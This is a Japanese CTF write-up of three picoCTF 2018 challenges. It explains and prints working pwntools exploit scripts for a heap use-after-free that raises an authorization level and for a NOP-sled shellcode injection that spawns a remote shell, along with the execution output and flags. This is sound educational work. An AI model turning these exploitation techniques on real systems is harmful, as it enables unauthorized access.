これまでよくBinary問題で使われていた、BufferOverflowの脆弱性は今回無さそう(サイズ指定の gets 関数でユーザー入力させている)です。また、これまたよく出てきた Format String Attackは、printf関数こそ使っていますが該当箇所が無さそうです。

ここでヒントをよく見てみます。

If only the program used calloc to zero out the memory..

ふむ?何のことかピンときていませんが、ソース中でallocしている箇所を調べます。
新規ログイン時に user を作成する際、下記のコードで alloc 関数を使っています。

user = (struct user *)malloc(sizeof(struct user));
...
user->name = strdup(arg);

strdup関数は alloc そのものではありませんが、中でmallocが使われています。
Man page of STRDUP

strdup() 関数は、文字列 sの複製である 新しい文字列へのポインターを返す。 新しい文字列のためのメモリーmalloc(3) で得ている。 そして、 free(3) で解放することができる。

また、ヒントの文言からmemory関連が怪しそうなので、この領域を操作するところに注目します。と、resetというmenuがあり、選択すると下記コードで領域の開放(=Logout)を行っています。

free(user->name);
user = NULL;

この user に着目すると、今回キーになりそうな認証レベル (authorization level) は user structのメンバとして定義されています。ということは、作戦的には "1.認証レベルを5に書き換える方法を探す" が妥当そう!

ざっと調べたところ、下記の攻撃手法が参考になりました。

ここでは Use After Free (UAF) として紹介されています。

malloc関数が、freeされた場合に開放されたheap領域を、再度allocateされた時に再利用してしまうという仕様をついた攻撃のようです。
今回の場合だと、一度Loginしてuserオブジェクトを作成し、そのあとresetしてuserを解放、再度Loginしてuserオブジェクト2を作成すると、解放したuser->nameと同じ領域を使うようになります。
ここで、userオブジェクトが user->name のポインタと認証レベルを保持していること、Login処理の中では認証レベル設定されない(初期化されない)ことを考えると、一度目のuserオブジェクト作成時に ポインタ分の領域+(\x05)user->nameを設定しておくと、次のuser作成時に\x05user->level に格納されることを期待できそうです。

ここで期待するメモリの動きなどは、下記のwrite-upの解説がかなりわかりやすかったです。
CTFs/are you root.md at master · Dvd848/CTFs · GitHub

また、ヒープについて初心者過ぎたので、わかりやすいと評判そうだった下記の動画も参考にしました。わかりやすかった。

この3:30あたりに出てくる「後から重要になります。テストに出まーす!」の項目が今回関係が深い。
次にmallocした時に使う領域の捜査を(free listというので持っている)、freeしたばかりの領域が優先されるようにポインタの差し替えを行うらしい。
スライドのみはこちら。 Glibc malloc internal

以上を踏まえた攻撃コードがこちら。今回は最初のLogin時のusernameは b'\x05'*9 としましたが、b'a'*8 + b'\x05' 等、9バイト目が\x05であれば、最初8バイトは何でも構わないです。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '2018shell.picoctf.com'
port = 45906

e = ELF('./auth')

r = remote(host, port)
print(r.recvuntil(b'Enter your command:\n> '))
r.sendline(b'login ' + b'\x05'*9)
print(r.recvuntil(b'Enter your command:\n> '))
r.sendline(b'reset')
print(r.recvuntil(b'Enter your command:\n> '))
r.sendline(b'login hoge')
print(r.recvuntil(b'Enter your command:\n> '))
r.sendline(b'show')
print(r.recvuntil(b'Enter your command:\n> '))
r.sendline(b'get-flag')
print(r.recv())

実行結果

$ python solve.py 
[*] '/.../are_you_root?/auth'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to 2018shell.picoctf.com on port 45906: Done
b'Available commands:\n\tshow - show your current user and authorization level\n\tlogin [name] - log in as [name]\n\tset-auth [level] - set your authorization level (must be below 5)\n\tget-flag - print the flag (requires authorization level 5)\n\treset - log out and reset authorization level\n\tquit - exit the program\n\nEnter your command:\n> '
b'Logged in as "\x05\x05\x05\x05\x05\x05\x05\x05\x05"\n\nEnter your command:\n> '
b'Logged out!\n\nEnter your command:\n> '
b'Logged in as "hoge"\n\nEnter your command:\n> '
b'Logged in as hoge [5]\n\nEnter your command:\n> '
b'picoCTF{m3sS1nG_w1tH_tH3_h43p_3dc31505}\n'
[*] Closed connection to 2018shell.picoctf.com port 45906

[Reversi] assembly-4 (550pt)

Can you find the flag using the following assembly source? WARNING: It is VERY long...

Hints

Hmm.. There must be an easier way than reversing the whole thing right?

入手できるのは、ソースコード comp.nasm のみ。
問題の警告やヒントを見る限り覚悟していたけど、開いてみたらアセンブリ 1215 行…!無理無理!
そしてソースしか配布されていないので、このままでは実行もできません。

他の手段として思いつくのは、アセンブリコンパイルして実行くらい。調べてみると、nasm というのはNetwide Assemblerの略であり、nasmというコンパイラを使ってコンパイルするらしい。

アセンブリ言語をコンパイル・実行してみる - 拾い物のコンパス

NASMはNetwide Assemblerの略であり、nasmというコンパイラを使ってコンパイルする。 NASM自体は公式サイトからダウンロードするか各ディストリのレポジトリからインストールできる。Arch Linuxでは

$ pacman -S nasm

でインストールできる。

ということで、このサイトに従ってコンパイル・実行してみる。

ラッキーなことに、kali-linux には nasm が初期状態で入っていた。

$ nasm --version
NASM version 2.14

コンパイルに当たっては、ちょっと古い(10年前!)の記事ですが、書きを参考にさせていただきました。

Cとアセンブラを組み合わせてコンパイルする - 【はてな】ガットポンポコ

更に、64bit版 kali-linux で 32bit版のコンパイルをしようと頑張ってみましたが詰まったので、手っ取り早く32bit版の kali-linux を入れてそっちでコンパイル & 実行しちゃいました。

# nasm -f elf32 -o comp.o comp.nasm 
# gcc -o comp comp.o
# ./comp
picoCTF{1_h0p3_y0u_c0mP1l3d_tH15_24186504403

ちなみに、これフラグの最後に } がありませんが、末尾の3}に変えるとflagになるようです。
これについては piazza に Note がありました。

Piazza • Ask. Answer. Explore. Whenever.

If your flag does not work, EITHER replace the trailing '3's at the end with a '}' OR change '2390040222' to '2350040222' and change '70u' to 'y0u'

より詳細なNASMについての解説はGASとの比較記事が IBM Developer にあります。
Linux のアセンブラー: GAS と NASM を比較する

[Binary] gps (550pt)

You got really lost in the wilderness, with nothing but your trusty gps. Can you find your way back to a shell and get the flag? Connect with nc 2018shell.picoctf.com 58896. (Source).

Hints

Can you make your shellcode randomization-resistant?

配布されるのは実行ファイルとソースコード

$ file gps
gps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0d1026a1f6487b2456984a46cd9cb7532f2241dc, not stripped
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define GPS_ACCURACY 1337

typedef void (fn_t)(void);

void initialize() {
    printf("GPS Initializing");
    for (int i = 0; i < 10; ++i) {
        usleep(300000);
        printf(".");
    }
    printf("Done\n");
}

void acquire_satellites() {
    printf("Acquiring satellites.");
    for (int i = 0; i < 3; ++i) {
        printf("Satellite %d", i);
        for (int j = 0; j < rand() % 10; ++j) {
            usleep(133700);
            printf(".");
        }
        if (i != 3) {
            printf("Done\n");
        } else {
            printf("Weak signal.\n");
        }
    }

    printf("\nGPS Initialized.\n");
    printf("Warning: Weak signal causing low measurement accuracy\n\n");
}

void *query_position() {
  char stk;
  int offset = rand() % GPS_ACCURACY - (GPS_ACCURACY / 2);
  void *ret = &stk + offset;
  return ret;
}


int main() {
    setbuf(stdout, NULL);

    char buffer[0x1000];
    srand((unsigned) (uintptr_t) buffer);

    initialize();
    acquire_satellites();

    printf("We need to access flag.txt.\nCurrent position: %p\n", query_position());

    printf("What's your plan?\n> ");
    fgets(buffer, sizeof(buffer), stdin);

    fn_t *location;

    printf("Where do we start?\n> ");
    scanf("%p", (void**) &location);

    location();
    return 0;
}

ソースの方もまぁまぁの長さがあります。

手始めに、下記のコードで、実行ファイルの詳細を確認しておきます。

from pwn import *
e = ELF('gps')

実行結果

$ python solve.py 
(略)
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE

amd64アーキテクチャ。PIE無し。NXはdisabled。

さて、問題文からして、shellを取ってflagを表示させるのがGoalのよう。
ソースを見たところ、buffer に任意の文字列を入力できること、実行するアドレス(*location)を指定できることがわかります。

これは埋め込んだコードを実行させるやつ、shellcodeっぽい。Hintにもそう書いてあります。そういえば、似たような問題が 200点の [Binary] shellcode にありました。
picoCTF2018 200pt問題のwrite-up - 好奇心の足跡

前回と明らかに違うところは、bufferに埋め込んだ攻撃コードをプログラムが勝手に実行してくれないこと。こちらから実行するアドレスを指定するようになっています。ヒントとして Current position というのが返ってきますが、攻撃コードの開始アドレスではなく、ある程度ランダムなアドレスが返ってくるようです。
具体的には query_posiution()関数内で確保した char stk のアドレス + offset。offsetに関してはランダム関数が使われていますが、-(GPS_ACCURACY / 2) ~ (GPS_ACCURACY / 2) の範囲であることがわかります。
ということは、stkのアドレスを p とすると、

p-(GPS_ACCURACY/2) ~ p+(GPS_ACCURACY/2)

の範囲で Current position が返ってくるようです。

今回のように、攻撃コードがどこから始まるか不確定な場合、NOP slide というのが使えるそうです。ヒントの randomization-resistant に強い攻撃と言えます。こちらも調べてみます。

1つ目のwikipediaを読んだだけでは私にはよくわからなかったので探してみたら、2つ目のオライリーの記事に行き当たりました。NOP slide は NOP sled, NOP ramp とも言われるそうなので、同じことを指していると思われます。

どこから shellcode が実行されるか不確定な場合、shellcodeの頭に nop 命令をだーーーーっと入れておく作戦。これによって、nopのどこかから実行されれば、実行命令は nop, nop, nop... を繰り返して、最終的に目的のshellcodeが実行されます。これが nop slide。
ズバリの解説が見つけられなかったので、もし良い資料があったら教えてください。。。

作戦としてはこんな感じ

  • buffer に 攻撃用 shellcode を仕込む
  • 上記のshellcodeは、攻撃コマンドの前を nop で埋めておき、 nop コマンドのどこかに着弾すれば攻撃コードが実行されるようにする
  • 手堅い開始アドレスを計算して入力

ここで問題の開始アドレスですが「数撃ちゃ当たる」でよければ、教えてくれる Current position をそのまま入れれば良さそう。
より真面目にやる場合、shellcodeを仕込むためのbufferの大きさは 0x1000 = 4096。一方、与えられるアドレスの振れ幅は 1337 (-668 ~ 668) のため、返ってきたアドレスが一番小さい p-(GPS_ACCURACY/2) だった場合を想定してアドレスを指定した場合、最悪 p+(GPS_ACCURACY/2) が返ってきていたとしても、shellcodeの途中に着弾する心配はなさそうです。(nop slide部分に着弾する)

shellを取るための shellcode、前回は shell-storm | Shellcodes Database で探しましたが、今回は python3-pwntools の機能で組み立てました。
アーキテクチャ毎に用意されており、今回のAMD64用には下記のモジュールが使用できます。

pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 2.2.1 documentation

こんな便利なツールがあったんですねー。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '2018shell.picoctf.com'
port = 58896
GPS_ACCURACY = 1337

context.binary = './gps'
nop = asm(shellcraft.amd64.nop())

r = remote(host, port)
res = r.recvuntil(b"What's your plan?\n> ")
print(res)
query_position = re.search(b'Current position: (.*)', res).group(1)
print(b'current addr: ' + query_position)

shellcode = asm(shellcraft.amd64.linux.sh())
payload = nop*(0x1000-1-len(shellcode)) + shellcode
r.sendline(payload)

attack_addr = int(query_position, 16) + (GPS_ACCURACY//2)
print('attack addr: 0x' + format(attack_addr, 'x'))
print(r.recvuntil(b"Where do we start?\n> "))
r.sendline(format(attack_addr, 'x'))
r.interactive()

実行結果

# python solve.py 
[*] '/root/ctf/picoCTF2018/gps'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE
[+] Opening connection to 2018shell.picoctf.com on port 58896: Done
b"GPS Initializing..........Done\nAcquiring satellites.Satellite 0...Done\nSatellite 1.....Done\nSatellite 2..Done\n\nGPS Initialized.\nWarning: Weak signal causing low measurement accuracy\n\nWe need to access flag.txt.\nCurrent position: 0x7ffcc5f7e50c\nWhat's your plan?\n> "
b'current addr: 0x7ffcc5f7e50c'
attack addr: 0x7ffcc5f7e7a8
b'Where do we start?\n> '
[*] Switching to interactive mode
$ ls
flag.txt
gps
gps.c
xinet_startup.sh
$ cat flag.txt
picoCTF{s4v3_y0urs3lf_w1th_a_sl3d_0f_n0ps_oigotcln}